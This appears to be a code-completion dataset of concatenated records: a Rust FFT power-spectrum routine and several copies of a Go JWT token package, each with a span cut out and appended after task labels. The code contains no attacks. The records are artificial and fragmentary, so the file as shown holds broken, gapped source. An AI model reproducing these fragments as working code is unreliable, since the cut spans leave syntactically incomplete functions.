/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn perform_fft(
config: &Config,
grid1: AlignedVec<c64>,
grid2: AlignedVec<c64>,
) -> Result<(AlignedVec<c64>, AlignedVec<c64>), &'static str> {
println!("\nPerforming FFTs...");
let ngrid: usize = config.ngrid as usize;
// Create FFTW plan
let shape = [ngrid, ngrid, ngrid];
let mut plan: C2CPlan64 = match C2CPlan::aligned(&shape[..], Sign::Forward, Flag::Estimate) {
Ok(p) => p,
Err(_) => return Err("Unable to create FFTW plan."),
};
println!("Plan created!");
// Perform FFT on grids
let ngrid3 = ngrid * ngrid * ngrid;
let out1 = fft_from_plan(ngrid3, grid1, &mut plan)?;
println!("First grid FFT complete!");
let out2 = fft_from_plan(ngrid3, grid2, &mut plan)?;
println!("Second grid FFT complete!");
// Sanity prints
println!("FFTs performed... Sanity check:");
for n in 0..10 {
println!("out1[{}] = {:.3e} + {:.3e}i", n, out1[n].re, out1[n].im);
println!("out2[{}] = {:.3e} + {:.3e}i", n, out2[n].re, out2[n].im);
}
Ok((out1, out2))
}
/// Use FFTW3 plan to perform FFT
fn fft_from_plan(
ngrid3: usize,
mut grid: AlignedVec<c64>,
plan: &mut C2CPlan64,
) -> Result<AlignedVec<c64>, &'static str> {
let mut out = AlignedVec::new(ngrid3);
match plan.c2c(&mut grid, &mut out) {
Ok(_) => (),
Err(_) => return Err("Failed to FFT grid."),
};
Ok(out)
}
/// Calculates the cross power spectrum of the given 3D grids (note if the same
/// grid is given twice then this is the auto power spectrum).
///
/// # Examples
///
/// ```
/// let output: Output = correlate(&config, grid1, grid2).unwrap();
/// ```
pub fn correlate(
config: &Config,
out1: AlignedVec<c64>,
out2: AlignedVec<c64>,
) -> Result<Output, &'static str> {
println!("\nCalculating power spectrum...");
if cfg!(feature = "ngp_correction_single") {
println!("Correcting for NGP mass assignment of one field!");
} else if cfg!(feature = "cic_correction_single") {
println!("Correcting for CIC mass assignment of one field!");
} else if cfg!(feature = "ngp_correction_both") {
println!("Correcting for NGP mass assignment of both fields!");
} else if cfg!(feature = "cic_correction_both") {
println!("Correcting for CIC mass assignment of both fields!");
}
let ngrid: usize = config.ngrid as usize;
let boxsize: f64 = f64::from(config.boxsize);
// Calculate power spectrum
let kf: f64 = 2.0 * PI / boxsize;
let coeff: f64 = (boxsize / (2.0 * PI)).powf(2.0);
let nhalf: usize = ngrid / 2;
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
let kny: f64 = PI * config.ngrid as f64 / boxsize;
let mut w: Vec<f64> = Vec::with_capacity(ngrid);
for i in 0..=nhalf {
w.push(kf * (i as f64));
}
for i in (nhalf + 1)..ngrid {
w.push(kf * ((i as isize - ngrid as isize) as f64));
}
let mut pow_spec: Vec<f64> = vec![0.0; ngrid];
let mut iweights: Vec<i64> = vec![0; ngrid];
for i in 0..ngrid {
let iper = if i >= nhalf { ngrid - i } else { i };
for j in 0..ngrid {
let jper = if j >= nhalf { ngrid - j } else { j };
for k in 0..ngrid {
let kper = if k >= nhalf { ngrid - k } else { k };
let r: f64 = (iper * iper + jper * jper + kper * kper) as f64;
let m: usize = (0.5 + r.sqrt()) as usize;
iweights[m] += 1;
let g = w[i] * w[i] + w[j] * w[j] + w[k] * w[k];
if g != 0.0 {
let scale: usize = (0.5 + (g * coeff).sqrt()) as usize;
let index: usize = k + ngrid * (j + ngrid * i);
let mut contrib: Complex<f64> =
out1[index] * out2[index].conj() + out1[index].conj() * out2[index];
#[cfg(feature = "ngp_correction_single")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp;
}
#[cfg(feature = "cic_correction_single")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic;
}
#[cfg(feature = "ngp_correction_both")]
{
// Correct for Nearest-Grid-Point mass assignment
let wngp = sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny));
contrib.re /= wngp * wngp;
}
#[cfg(feature = "cic_correction_both")]
{
// Correct for Cloud-in-Cell mass assignment
let wcic = (sinc(PI * w[i] as f64 / (2.0 * kny))
* sinc(PI * w[j] as f64 / (2.0 * kny))
* sinc(PI * w[k] as f64 / (2.0 * kny)))
.powi(2);
contrib.re /= wcic * wcic;
}
pow_spec[scale] += contrib.re / 2.0;
}
}
}
}
println!("Power spectrum calculated. Normalising...");
// Normalise power spectrum
let pisq: f64 = 2.0 * PI * PI;
let mut deltasqk: Vec<f64> = Vec::with_capacity(nhalf);
for i in 0..nhalf {
pow_spec[i] *= boxsize.powi(3) / (ngrid as f64).powi(6);
pow_spec[i] /= iweights[i] as f64;
deltasqk.push(w[i].powf(3.0) * pow_spec[i] / pisq);
}
// Return final output
Ok(Output {
w,
pow_spec,
deltasqk,
iweights,
})
}
#[cfg(any(
feature = "ngp_correction_single",
feature = "ngp_correction_both",
feature = "cic_correction_single",
feature = "cic_correction_both"
))]
fn sinc(theta: f64) -> f64 {
if theta < 1e-20 {
1.0
} else {
(theta.sin() / theta)
}
}
| load_grid | identifier_name |
jwt.go | // Package token wraps jwt-go library and provides higher level abstraction to work with JWT.
package token
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt"
)
// Service wraps jwt operations
// supports both header and cookie tokens
type Service struct {
Opts
}
// Claims stores user info for token and state & from from login
type Claims struct {
jwt.StandardClaims
User *User `json:"user,omitempty"` // user info
SessionOnly bool `json:"sess_only,omitempty"`
Handshake *Handshake `json:"handshake,omitempty"` // used for oauth handshake
NoAva bool `json:"no-ava,omitempty"` // disable avatar, always use identicon
}
// Handshake used for oauth handshake
type Handshake struct {
State string `json:"state,omitempty"`
From string `json:"from,omitempty"`
ID string `json:"id,omitempty"`
}
const (
// default names for cookies and headers
defaultJWTCookieName = "JWT"
defaultJWTCookieDomain = ""
defaultJWTHeaderKey = "X-JWT"
defaultXSRFCookieName = "XSRF-TOKEN"
defaultXSRFHeaderKey = "X-XSRF-TOKEN"
defaultIssuer = "go-pkgz/auth"
defaultTokenDuration = time.Minute * 15
defaultCookieDuration = time.Hour * 24 * 31
defaultTokenQuery = "token"
)
// Opts holds constructor params
type Opts struct {
SecretReader Secret
ClaimsUpd ClaimsUpdater
SecureCookies bool
TokenDuration time.Duration
CookieDuration time.Duration
DisableXSRF bool
DisableIAT bool // disable IssuedAt claim
// optional (custom) names for cookies and headers
JWTCookieName string
JWTCookieDomain string
JWTHeaderKey string
XSRFCookieName string
XSRFHeaderKey string
JWTQuery string
AudienceReader Audience // allowed aud values
Issuer string // optional value for iss claim, usually application name
AudSecrets bool // uses different secret for differed auds. important: adds pre-parsing of unverified token
SendJWTHeader bool // if enabled send JWT as a header instead of cookie
SameSite http.SameSite // define a cookie attribute making it impossible for the browser to send this cookie cross-site
}
// NewService makes JWT service
func | (opts Opts) *Service {
res := Service{Opts: opts}
setDefault := func(fld *string, def string) {
if *fld == "" {
*fld = def
}
}
setDefault(&res.JWTCookieName, defaultJWTCookieName)
setDefault(&res.JWTHeaderKey, defaultJWTHeaderKey)
setDefault(&res.XSRFCookieName, defaultXSRFCookieName)
setDefault(&res.XSRFHeaderKey, defaultXSRFHeaderKey)
setDefault(&res.JWTQuery, defaultTokenQuery)
setDefault(&res.Issuer, defaultIssuer)
setDefault(&res.JWTCookieDomain, defaultJWTCookieDomain)
if opts.TokenDuration == 0 {
res.TokenDuration = defaultTokenDuration
}
if opts.CookieDuration == 0 {
res.CookieDuration = defaultCookieDuration
}
return &res
}
// Token makes token with claims
func (j *Service) Token(claims Claims) (string, error) {
// make token for allowed aud values only, rejects others
// update claims with ClaimsUpdFunc defined by consumer
if j.ClaimsUpd != nil {
claims = j.ClaimsUpd.Update(claims)
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
if j.SecretReader == nil {
return "", fmt.Errorf("secret reader not defined")
}
if err := j.checkAuds(&claims, j.AudienceReader); err != nil {
return "", fmt.Errorf("aud rejected: %w", err)
}
secret, err := j.SecretReader.Get(claims.Audience) // get secret via consumer defined SecretReader
if err != nil {
return "", fmt.Errorf("can't get secret: %w", err)
}
tokenString, err := token.SignedString([]byte(secret))
if err != nil {
return "", fmt.Errorf("can't sign token: %w", err)
}
return tokenString, nil
}
// Parse token string and verify. Not checking for expiration
func (j *Service) Parse(tokenString string) (Claims, error) {
parser := jwt.Parser{SkipClaimsValidation: true} // allow parsing of expired tokens
if j.SecretReader == nil {
return Claims{}, fmt.Errorf("secret reader not defined")
}
aud := "ignore"
if j.AudSecrets {
var err error
aud, err = j.aud(tokenString)
if err != nil {
return Claims{}, fmt.Errorf("can't retrieve audience from the token")
}
}
secret, err := j.SecretReader.Get(aud)
if err != nil {
return Claims{}, fmt.Errorf("can't get secret: %w", err)
}
token, err := parser.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(secret), nil
})
if err != nil {
return Claims{}, fmt.Errorf("can't parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return Claims{}, fmt.Errorf("invalid token")
}
if err = j.checkAuds(claims, j.AudienceReader); err != nil {
return Claims{}, fmt.Errorf("aud rejected: %w", err)
}
return *claims, j.validate(claims)
}
// aud pre-parse token and extracts aud from the claim
// important! this step ignores token verification, should not be used for any validations
func (j *Service) aud(tokenString string) (string, error) {
parser := jwt.Parser{}
token, _, err := parser.ParseUnverified(tokenString, &Claims{})
if err != nil {
return "", fmt.Errorf("can't pre-parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return "", fmt.Errorf("invalid token")
}
if strings.TrimSpace(claims.Audience) == "" {
return "", fmt.Errorf("empty aud")
}
return claims.Audience, nil
}
func (j *Service) validate(claims *Claims) error {
cerr := claims.Valid()
if cerr == nil {
return nil
}
if e, ok := cerr.(*jwt.ValidationError); ok {
if e.Errors == jwt.ValidationErrorExpired {
return nil // allow expired tokens
}
}
return cerr
}
// Set creates token cookie with xsrf cookie and put it to ResponseWriter
// accepts claims and sets expiration if none defined. permanent flag means long-living cookie,
// false makes it session only.
func (j *Service) Set(w http.ResponseWriter, claims Claims) (Claims, error) {
if claims.ExpiresAt == 0 {
claims.ExpiresAt = time.Now().Add(j.TokenDuration).Unix()
}
if claims.Issuer == "" {
claims.Issuer = j.Issuer
}
if !j.DisableIAT {
claims.IssuedAt = time.Now().Unix()
}
tokenString, err := j.Token(claims)
if err != nil {
return Claims{}, fmt.Errorf("failed to make token token: %w", err)
}
if j.SendJWTHeader {
w.Header().Set(j.JWTHeaderKey, tokenString)
return claims, nil
}
cookieExpiration := 0 // session cookie
if !claims.SessionOnly && claims.Handshake == nil {
cookieExpiration = int(j.CookieDuration.Seconds())
}
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: tokenString, HttpOnly: true, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: claims.Id, HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
return claims, nil
}
// Get token from url, header or cookie
// if cookie used, verify xsrf token to match
func (j *Service) Get(r *http.Request) (Claims, string, error) {
fromCookie := false
tokenString := ""
// try to get from "token" query param
if tkQuery := r.URL.Query().Get(j.JWTQuery); tkQuery != "" {
tokenString = tkQuery
}
// try to get from JWT header
if tokenHeader := r.Header.Get(j.JWTHeaderKey); tokenHeader != "" && tokenString == "" {
tokenString = tokenHeader
}
// try to get from JWT cookie
if tokenString == "" {
fromCookie = true
jc, err := r.Cookie(j.JWTCookieName)
if err != nil {
return Claims{}, "", fmt.Errorf("token cookie was not presented: %w", err)
}
tokenString = jc.Value
}
claims, err := j.Parse(tokenString)
if err != nil {
return Claims{}, "", fmt.Errorf("failed to get token: %w", err)
}
// promote claim's aud to User.Audience
if claims.User != nil {
claims.User.Audience = claims.Audience
}
if !fromCookie && j.IsExpired(claims) {
return Claims{}, "", fmt.Errorf("token expired")
}
if j.DisableXSRF {
return claims, tokenString, nil
}
if fromCookie && claims.User != nil {
xsrf := r.Header.Get(j.XSRFHeaderKey)
if claims.Id != xsrf {
return Claims{}, "", fmt.Errorf("xsrf mismatch")
}
}
return claims, tokenString, nil
}
// IsExpired returns true if claims expired
func (j *Service) IsExpired(claims Claims) bool {
return !claims.VerifyExpiresAt(time.Now().Unix(), true)
}
// Reset token's cookies
func (j *Service) Reset(w http.ResponseWriter) {
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
}
// checkAuds verifies if claims.Audience in the list of allowed by audReader
func (j *Service) checkAuds(claims *Claims, audReader Audience) error {
if audReader == nil { // lack of any allowed means any
return nil
}
auds, err := audReader.Get()
if err != nil {
return fmt.Errorf("failed to get auds: %w", err)
}
for _, a := range auds {
if strings.EqualFold(a, claims.Audience) {
return nil
}
}
return fmt.Errorf("aud %q not allowed", claims.Audience)
}
func (c Claims) String() string {
b, err := json.Marshal(c)
if err != nil {
return fmt.Sprintf("%+v %+v", c.StandardClaims, c.User)
}
return string(b)
}
// Secret defines interface returning secret key for given id (aud)
type Secret interface {
Get(aud string) (string, error) // aud matching is optional. Implementation may decide if supported or ignored
}
// SecretFunc type is an adapter to allow the use of ordinary functions as Secret. If f is a function
// with the appropriate signature, SecretFunc(f) is a Handler that calls f.
type SecretFunc func(aud string) (string, error)
// Get calls f()
func (f SecretFunc) Get(aud string) (string, error) {
return f(aud)
}
// ClaimsUpdater defines interface adding extras to claims
type ClaimsUpdater interface {
Update(claims Claims) Claims
}
// ClaimsUpdFunc type is an adapter to allow the use of ordinary functions as ClaimsUpdater. If f is a function
// with the appropriate signature, ClaimsUpdFunc(f) is a Handler that calls f.
type ClaimsUpdFunc func(claims Claims) Claims
// Update calls f(id)
func (f ClaimsUpdFunc) Update(claims Claims) Claims {
return f(claims)
}
// Validator defines interface to accept o reject claims with consumer defined logic
// It works with valid token and allows to reject some, based on token match or user's fields
type Validator interface {
Validate(token string, claims Claims) bool
}
// ValidatorFunc type is an adapter to allow the use of ordinary functions as Validator. If f is a function
// with the appropriate signature, ValidatorFunc(f) is a Validator that calls f.
type ValidatorFunc func(token string, claims Claims) bool
// Validate calls f(id)
func (f ValidatorFunc) Validate(token string, claims Claims) bool {
return f(token, claims)
}
// Audience defines interface returning list of allowed audiences
type Audience interface {
Get() ([]string, error)
}
// AudienceFunc type is an adapter to allow the use of ordinary functions as Audience.
type AudienceFunc func() ([]string, error)
// Get calls f()
func (f AudienceFunc) Get() ([]string, error) {
return f()
}
| NewService | identifier_name |
jwt.go | // Package token wraps jwt-go library and provides higher level abstraction to work with JWT.
package token
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt"
)
// Service wraps jwt operations
// supports both header and cookie tokens
type Service struct {
Opts
}
// Claims stores user info for token and state & from from login
type Claims struct {
jwt.StandardClaims
User *User `json:"user,omitempty"` // user info
SessionOnly bool `json:"sess_only,omitempty"`
Handshake *Handshake `json:"handshake,omitempty"` // used for oauth handshake
NoAva bool `json:"no-ava,omitempty"` // disable avatar, always use identicon
}
// Handshake used for oauth handshake
type Handshake struct {
State string `json:"state,omitempty"`
From string `json:"from,omitempty"`
ID string `json:"id,omitempty"`
}
const (
// default names for cookies and headers
defaultJWTCookieName = "JWT"
defaultJWTCookieDomain = ""
defaultJWTHeaderKey = "X-JWT"
defaultXSRFCookieName = "XSRF-TOKEN"
defaultXSRFHeaderKey = "X-XSRF-TOKEN"
defaultIssuer = "go-pkgz/auth"
defaultTokenDuration = time.Minute * 15
defaultCookieDuration = time.Hour * 24 * 31
defaultTokenQuery = "token"
)
// Opts holds constructor params
type Opts struct {
SecretReader Secret
ClaimsUpd ClaimsUpdater
SecureCookies bool
TokenDuration time.Duration
CookieDuration time.Duration
DisableXSRF bool
DisableIAT bool // disable IssuedAt claim
// optional (custom) names for cookies and headers
JWTCookieName string
JWTCookieDomain string
JWTHeaderKey string
XSRFCookieName string
XSRFHeaderKey string
JWTQuery string
AudienceReader Audience // allowed aud values
Issuer string // optional value for iss claim, usually application name
AudSecrets bool // uses different secret for differed auds. important: adds pre-parsing of unverified token
SendJWTHeader bool // if enabled send JWT as a header instead of cookie
SameSite http.SameSite // define a cookie attribute making it impossible for the browser to send this cookie cross-site
}
// NewService makes JWT service
func NewService(opts Opts) *Service {
res := Service{Opts: opts}
setDefault := func(fld *string, def string) {
if *fld == "" {
*fld = def
}
}
setDefault(&res.JWTCookieName, defaultJWTCookieName)
setDefault(&res.JWTHeaderKey, defaultJWTHeaderKey)
setDefault(&res.XSRFCookieName, defaultXSRFCookieName)
setDefault(&res.XSRFHeaderKey, defaultXSRFHeaderKey)
setDefault(&res.JWTQuery, defaultTokenQuery)
setDefault(&res.Issuer, defaultIssuer)
setDefault(&res.JWTCookieDomain, defaultJWTCookieDomain)
if opts.TokenDuration == 0 {
res.TokenDuration = defaultTokenDuration
}
if opts.CookieDuration == 0 {
res.CookieDuration = defaultCookieDuration
}
return &res
}
// Token makes token with claims
func (j *Service) Token(claims Claims) (string, error) {
// make token for allowed aud values only, rejects others
// update claims with ClaimsUpdFunc defined by consumer
if j.ClaimsUpd != nil {
claims = j.ClaimsUpd.Update(claims)
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
if j.SecretReader == nil {
return "", fmt.Errorf("secret reader not defined")
}
if err := j.checkAuds(&claims, j.AudienceReader); err != nil {
return "", fmt.Errorf("aud rejected: %w", err)
}
secret, err := j.SecretReader.Get(claims.Audience) // get secret via consumer defined SecretReader
if err != nil {
return "", fmt.Errorf("can't get secret: %w", err)
}
tokenString, err := token.SignedString([]byte(secret))
if err != nil {
return "", fmt.Errorf("can't sign token: %w", err)
}
return tokenString, nil
}
// Parse token string and verify. Not checking for expiration
func (j *Service) Parse(tokenString string) (Claims, error) {
parser := jwt.Parser{SkipClaimsValidation: true} // allow parsing of expired tokens
if j.SecretReader == nil {
return Claims{}, fmt.Errorf("secret reader not defined")
}
aud := "ignore"
if j.AudSecrets {
var err error
aud, err = j.aud(tokenString)
if err != nil {
return Claims{}, fmt.Errorf("can't retrieve audience from the token")
}
}
secret, err := j.SecretReader.Get(aud)
if err != nil {
return Claims{}, fmt.Errorf("can't get secret: %w", err)
}
token, err := parser.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(secret), nil
})
if err != nil {
return Claims{}, fmt.Errorf("can't parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return Claims{}, fmt.Errorf("invalid token")
}
if err = j.checkAuds(claims, j.AudienceReader); err != nil {
return Claims{}, fmt.Errorf("aud rejected: %w", err)
}
return *claims, j.validate(claims)
}
// aud pre-parse token and extracts aud from the claim
// important! this step ignores token verification, should not be used for any validations
func (j *Service) aud(tokenString string) (string, error) {
parser := jwt.Parser{}
token, _, err := parser.ParseUnverified(tokenString, &Claims{})
if err != nil {
return "", fmt.Errorf("can't pre-parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return "", fmt.Errorf("invalid token")
}
if strings.TrimSpace(claims.Audience) == "" {
return "", fmt.Errorf("empty aud")
}
return claims.Audience, nil
}
func (j *Service) validate(claims *Claims) error {
cerr := claims.Valid()
if cerr == nil {
return nil
}
if e, ok := cerr.(*jwt.ValidationError); ok {
if e.Errors == jwt.ValidationErrorExpired {
return nil // allow expired tokens
}
}
return cerr
}
// Set creates token cookie with xsrf cookie and put it to ResponseWriter
// accepts claims and sets expiration if none defined. permanent flag means long-living cookie,
// false makes it session only.
func (j *Service) Set(w http.ResponseWriter, claims Claims) (Claims, error) {
if claims.ExpiresAt == 0 {
claims.ExpiresAt = time.Now().Add(j.TokenDuration).Unix()
}
if claims.Issuer == "" {
claims.Issuer = j.Issuer
}
if !j.DisableIAT {
claims.IssuedAt = time.Now().Unix()
}
tokenString, err := j.Token(claims)
if err != nil {
return Claims{}, fmt.Errorf("failed to make token token: %w", err)
}
if j.SendJWTHeader {
w.Header().Set(j.JWTHeaderKey, tokenString)
return claims, nil
}
cookieExpiration := 0 // session cookie
if !claims.SessionOnly && claims.Handshake == nil {
cookieExpiration = int(j.CookieDuration.Seconds())
}
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: tokenString, HttpOnly: true, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: claims.Id, HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
return claims, nil
}
// Get token from url, header or cookie
// if cookie used, verify xsrf token to match
func (j *Service) Get(r *http.Request) (Claims, string, error) {
fromCookie := false
tokenString := ""
// try to get from "token" query param
if tkQuery := r.URL.Query().Get(j.JWTQuery); tkQuery != "" {
tokenString = tkQuery
}
// try to get from JWT header
if tokenHeader := r.Header.Get(j.JWTHeaderKey); tokenHeader != "" && tokenString == "" {
tokenString = tokenHeader
}
// try to get from JWT cookie
if tokenString == "" {
fromCookie = true
jc, err := r.Cookie(j.JWTCookieName)
if err != nil {
return Claims{}, "", fmt.Errorf("token cookie was not presented: %w", err)
}
tokenString = jc.Value
}
claims, err := j.Parse(tokenString)
if err != nil {
return Claims{}, "", fmt.Errorf("failed to get token: %w", err)
}
// promote claim's aud to User.Audience
if claims.User != nil {
claims.User.Audience = claims.Audience
}
if !fromCookie && j.IsExpired(claims) {
return Claims{}, "", fmt.Errorf("token expired")
}
if j.DisableXSRF {
return claims, tokenString, nil
}
if fromCookie && claims.User != nil {
xsrf := r.Header.Get(j.XSRFHeaderKey)
if claims.Id != xsrf {
return Claims{}, "", fmt.Errorf("xsrf mismatch")
}
}
return claims, tokenString, nil
}
// IsExpired returns true if claims expired
func (j *Service) IsExpired(claims Claims) bool {
return !claims.VerifyExpiresAt(time.Now().Unix(), true)
}
// Reset token's cookies
func (j *Service) Reset(w http.ResponseWriter) {
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
}
// checkAuds verifies if claims.Audience in the list of allowed by audReader
func (j *Service) checkAuds(claims *Claims, audReader Audience) error {
if audReader == nil { // lack of any allowed means any
return nil
}
auds, err := audReader.Get()
if err != nil {
return fmt.Errorf("failed to get auds: %w", err)
}
for _, a := range auds {
if strings.EqualFold(a, claims.Audience) {
return nil
}
}
return fmt.Errorf("aud %q not allowed", claims.Audience)
}
func (c Claims) String() string {
b, err := json.Marshal(c)
if err != nil {
return fmt.Sprintf("%+v %+v", c.StandardClaims, c.User)
}
return string(b)
}
// Secret defines interface returning secret key for given id (aud)
type Secret interface {
Get(aud string) (string, error) // aud matching is optional. Implementation may decide if supported or ignored
}
// SecretFunc type is an adapter to allow the use of ordinary functions as Secret. If f is a function
// with the appropriate signature, SecretFunc(f) is a Handler that calls f.
type SecretFunc func(aud string) (string, error)
// Get calls f()
func (f SecretFunc) Get(aud string) (string, error) |
// ClaimsUpdater defines interface adding extras to claims
type ClaimsUpdater interface {
Update(claims Claims) Claims
}
// ClaimsUpdFunc type is an adapter to allow the use of ordinary functions as ClaimsUpdater. If f is a function
// with the appropriate signature, ClaimsUpdFunc(f) is a Handler that calls f.
type ClaimsUpdFunc func(claims Claims) Claims
// Update calls f(id)
func (f ClaimsUpdFunc) Update(claims Claims) Claims {
return f(claims)
}
// Validator defines interface to accept o reject claims with consumer defined logic
// It works with valid token and allows to reject some, based on token match or user's fields
type Validator interface {
Validate(token string, claims Claims) bool
}
// ValidatorFunc type is an adapter to allow the use of ordinary functions as Validator. If f is a function
// with the appropriate signature, ValidatorFunc(f) is a Validator that calls f.
type ValidatorFunc func(token string, claims Claims) bool
// Validate calls f(id)
func (f ValidatorFunc) Validate(token string, claims Claims) bool {
return f(token, claims)
}
// Audience defines interface returning list of allowed audiences
type Audience interface {
Get() ([]string, error)
}
// AudienceFunc type is an adapter to allow the use of ordinary functions as Audience.
type AudienceFunc func() ([]string, error)
// Get calls f()
func (f AudienceFunc) Get() ([]string, error) {
return f()
}
| {
return f(aud)
} | identifier_body |
jwt.go | // Package token wraps jwt-go library and provides higher level abstraction to work with JWT.
package token
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt"
)
// Service wraps jwt operations
// supports both header and cookie tokens
type Service struct { | type Claims struct {
jwt.StandardClaims
User *User `json:"user,omitempty"` // user info
SessionOnly bool `json:"sess_only,omitempty"`
Handshake *Handshake `json:"handshake,omitempty"` // used for oauth handshake
NoAva bool `json:"no-ava,omitempty"` // disable avatar, always use identicon
}
// Handshake used for oauth handshake
type Handshake struct {
State string `json:"state,omitempty"`
From string `json:"from,omitempty"`
ID string `json:"id,omitempty"`
}
const (
// default names for cookies and headers
defaultJWTCookieName = "JWT"
defaultJWTCookieDomain = ""
defaultJWTHeaderKey = "X-JWT"
defaultXSRFCookieName = "XSRF-TOKEN"
defaultXSRFHeaderKey = "X-XSRF-TOKEN"
defaultIssuer = "go-pkgz/auth"
defaultTokenDuration = time.Minute * 15
defaultCookieDuration = time.Hour * 24 * 31
defaultTokenQuery = "token"
)
// Opts holds constructor params
type Opts struct {
SecretReader Secret
ClaimsUpd ClaimsUpdater
SecureCookies bool
TokenDuration time.Duration
CookieDuration time.Duration
DisableXSRF bool
DisableIAT bool // disable IssuedAt claim
// optional (custom) names for cookies and headers
JWTCookieName string
JWTCookieDomain string
JWTHeaderKey string
XSRFCookieName string
XSRFHeaderKey string
JWTQuery string
AudienceReader Audience // allowed aud values
Issuer string // optional value for iss claim, usually application name
AudSecrets bool // uses different secret for differed auds. important: adds pre-parsing of unverified token
SendJWTHeader bool // if enabled send JWT as a header instead of cookie
SameSite http.SameSite // define a cookie attribute making it impossible for the browser to send this cookie cross-site
}
// NewService makes JWT service
func NewService(opts Opts) *Service {
res := Service{Opts: opts}
setDefault := func(fld *string, def string) {
if *fld == "" {
*fld = def
}
}
setDefault(&res.JWTCookieName, defaultJWTCookieName)
setDefault(&res.JWTHeaderKey, defaultJWTHeaderKey)
setDefault(&res.XSRFCookieName, defaultXSRFCookieName)
setDefault(&res.XSRFHeaderKey, defaultXSRFHeaderKey)
setDefault(&res.JWTQuery, defaultTokenQuery)
setDefault(&res.Issuer, defaultIssuer)
setDefault(&res.JWTCookieDomain, defaultJWTCookieDomain)
if opts.TokenDuration == 0 {
res.TokenDuration = defaultTokenDuration
}
if opts.CookieDuration == 0 {
res.CookieDuration = defaultCookieDuration
}
return &res
}
// Token makes token with claims
func (j *Service) Token(claims Claims) (string, error) {
// make token for allowed aud values only, rejects others
// update claims with ClaimsUpdFunc defined by consumer
if j.ClaimsUpd != nil {
claims = j.ClaimsUpd.Update(claims)
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
if j.SecretReader == nil {
return "", fmt.Errorf("secret reader not defined")
}
if err := j.checkAuds(&claims, j.AudienceReader); err != nil {
return "", fmt.Errorf("aud rejected: %w", err)
}
secret, err := j.SecretReader.Get(claims.Audience) // get secret via consumer defined SecretReader
if err != nil {
return "", fmt.Errorf("can't get secret: %w", err)
}
tokenString, err := token.SignedString([]byte(secret))
if err != nil {
return "", fmt.Errorf("can't sign token: %w", err)
}
return tokenString, nil
}
// Parse token string and verify. Not checking for expiration
func (j *Service) Parse(tokenString string) (Claims, error) {
parser := jwt.Parser{SkipClaimsValidation: true} // allow parsing of expired tokens
if j.SecretReader == nil {
return Claims{}, fmt.Errorf("secret reader not defined")
}
aud := "ignore"
if j.AudSecrets {
var err error
aud, err = j.aud(tokenString)
if err != nil {
return Claims{}, fmt.Errorf("can't retrieve audience from the token")
}
}
secret, err := j.SecretReader.Get(aud)
if err != nil {
return Claims{}, fmt.Errorf("can't get secret: %w", err)
}
